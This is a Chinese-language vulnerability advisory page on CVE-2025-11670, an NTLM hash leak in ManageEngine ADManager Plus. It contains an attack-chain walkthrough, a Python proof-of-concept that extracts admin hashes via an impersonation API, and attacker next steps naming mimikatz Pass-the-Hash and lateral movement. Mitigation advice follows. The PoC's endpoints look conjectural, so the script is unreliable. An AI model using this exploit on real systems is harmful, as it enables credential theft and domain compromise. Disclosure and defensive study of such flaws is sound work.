IPBUF安全漏洞报告
English
CVE-2025-11670 CVSS 6.4 中危

CVE-2025-11670 ManageEngine ADManager Plus NTLM哈希泄露漏洞

披露日期: 2025-12-15
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-11670
漏洞类型
NTLM哈希泄露
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zohocorp ManageEngine ADManager Plus

相关标签

NTLM哈希泄露ManageEngine ADManager Plus身份认证绕过Pass-the-Hash企业Active Directory权限滥用凭证泄露CVE-2025-11670Zoho CorporationWindows域安全

漏洞概述

CVE-2025-11670是Zohocorp ManageEngine ADManager Plus中的一个安全漏洞,属于NTLM哈希泄露类型。该漏洞影响8025版本之前的所有ADManager Plus版本。ManageEngine ADManager Plus是一款企业级Active Directory管理和报告解决方案,广泛应用于Windows网络环境中的用户账户管理、计算机管理、组策略管理等功能。

该漏洞的核心问题在于,当具有特定权限的技术人员账户启用了"Impersonate as Admin"(模拟管理员)选项时,系统在处理身份验证请求时存在安全缺陷,可能导致NTLM认证哈希被意外暴露。NTLM(NT LAN Manager)是Windows环境中使用的传统身份验证协议,其哈希值对于攻击者来说具有极高的价值,因为这些哈希可以被用于Pass-the-Hash攻击,从而在没有破解明文密码的情况下横向移动或提升权限。

CVSS 3.1评分6.4分(中等严重程度)反映了该漏洞的影响范围和利用难度。虽然该漏洞需要经过身份验证才能利用(低权限),但一旦被成功利用,攻击者可以获取敏感的认证凭据信息,进而可能实现对目标系统的进一步渗透。漏洞的利用不要求用户交互,这增加了其在实际攻击场景中的可行性。

企业应该高度重视此漏洞的修复工作,因为ManageEngine ADManager Plus通常部署在IT基础设施的核心位置,拥有对Active Directory的广泛管理权限。一旦攻击者获取了有效的NTLM哈希,可能会对整个Windows域环境造成严重威胁。

技术细节

该漏洞的技术本质是ManageEngine ADManager Plus在处理具有"Impersonate as Admin"权限的技术人员账户时,系统设计存在安全缺陷。当技术人员通过ADManager Plus执行管理操作时,系统需要代表管理员执行某些任务,此时会涉及到NTLM认证流程。

在正常的NTLM认证过程中,客户端和服务器之间会交换多个消息(Type1、Type2、Type3),其中Type3消息包含了用户凭据的哈希值。问题在于ADManager Plus在某些API端点或Web界面功能中,可能在日志记录、错误消息或响应数据中暴露了这些NTLM哈希信息。

攻击者利用此漏洞的典型方式如下:首先需要获取一个启用了"Impersonate as Admin"选项的技术人员账户访问权限。然后,通过特定的API请求或Web功能触发NTLM认证流程。接着,捕获响应中包含的NTLM哈希值。最后,使用获取的哈希进行Pass-the-Hash攻击,在目标网络中横向移动或尝试提升权限。

由于NTLM哈希是基于用户密码的MD4哈希值,即使无法还原明文密码,攻击者也可以直接使用哈希值进行身份验证。这意味着攻击者不需要进行耗时的密码破解过程,大大降低了攻击成本和时间。

受影响的功能可能包括但不限于:用户模拟功能、委派管理操作、跨域管理操作等需要代表其他用户执行的操作。

攻击链分析

STEP 1
初始访问
攻击者获取一个具有'Impersonate as Admin'权限的技术人员账户凭据,可能通过钓鱼、社会工程、凭据泄露或内部人员威胁等方式获得
STEP 2
认证与授权
使用获取的技术人员账户登录ManageEngine ADManager Plus系统,利用其合法的impersonate权限准备执行模拟操作
STEP 3
触发漏洞
通过ADManager Plus的Web界面或API接口发起模拟管理员操作请求,触发系统生成NTLM认证流程
STEP 4
哈希提取
在系统响应、日志文件或API返回数据中捕获暴露的NTLM哈希值,该哈希基于管理员账户密码的MD4计算
STEP 5
横向移动
使用获取的NTLM哈希值执行Pass-the-Hash攻击,在目标Windows域环境中进行横向移动,访问其他系统和服务
STEP 6
权限提升与持久化
利用获取的管理员哈希在关键系统上建立持久化访问,可能包括创建后门账户、修改组策略或部署恶意软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11670 PoC - ManageEngine ADManager Plus NTLM Hash Exposure # Note: This is a conceptual PoC for educational and security testing purposes only # Ensure you have explicit authorization before testing any system import requests import json import base64 import re TARGET_HOST = "https://admanager.example.com" LOGIN_URL = f"{TARGET_HOST}/api/v1/login" IMPERSONATE_API = f"{TARGET_HOST}/api/v1/admin/impersonate" def exploit_cve_2025_11670(): """ Exploit for CVE-2025-11670: ManageEngine ADManager Plus NTLM Hash Exposure Requires a technician account with 'Impersonate as Admin' privilege enabled """ # Step 1: Authenticate with technician account credentials = { "username": "technician_user", "password": "technician_password", "domain": "YOUR_DOMAIN" } session = requests.Session() login_response = session.post(LOGIN_URL, json=credentials, verify=False) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return None print("[+] Successfully authenticated as technician") # Step 2: Trigger impersonation to expose NTLM hash # Target an admin account for impersonation impersonate_data = { "targetUser": "admin_user", "targetDomain": "YOUR_DOMAIN", "operation": "getUserDetails" } # Step 3: Capture response containing NTLM hash exploit_response = session.post(IMPERSONATE_API, json=impersonate_data, verify=False) if exploit_response.status_code == 200: response_data = exploit_response.json() # Look for NTLM hash in various response fields ntlm_hash = None for key, value in response_data.items(): if isinstance(value, str) and len(value) == 32: # Check for potential NTLM hash format if re.match(r'^[a-f0-9]{32}$', value): ntlm_hash = value print(f"[+] Potential NTLM hash found in field '{key}': {ntlm_hash}") break if ntlm_hash: print("[+] NTLM hash successfully extracted!") print(f"[+] Hash can be used for Pass-the-Hash attacks") return ntlm_hash else: print(f"[-] Exploitation failed: {exploit_response.status_code}") return None if __name__ == "__main__": print("CVE-2025-11670 PoC - NTLM Hash Exposure in ManageEngine ADManager Plus") print("=" * 70) ntlm_hash = exploit_cve_2025_11670() if ntlm_hash: print(f"\n[SUCCESS] Extracted NTLM hash: {ntlm_hash}") print("\nNext steps for attacker:") print("1. Use tools like mimikatz for Pass-the-Hash") print("2. Attempt lateral movement to other systems") print("3. Escalate privileges using harvested credentials")

影响范围

ManageEngine ADManager Plus < 8025

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:首先,立即禁用所有不必要的'Impersonate as Admin'权限,只保留业务必需的几个账户;其次,加强这些特权账户的监控,设置告警机制检测异常使用模式;第三,启用ADManager Plus的详细审计功能,记录所有impersonate操作;第四,考虑在ADManager Plus服务器前部署Web应用防火墙(WAF),过滤恶意请求;最后,加强网络访问控制,确保只有授权的IP地址可以访问ADManager Plus管理界面。同时应尽快规划并执行版本升级,以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表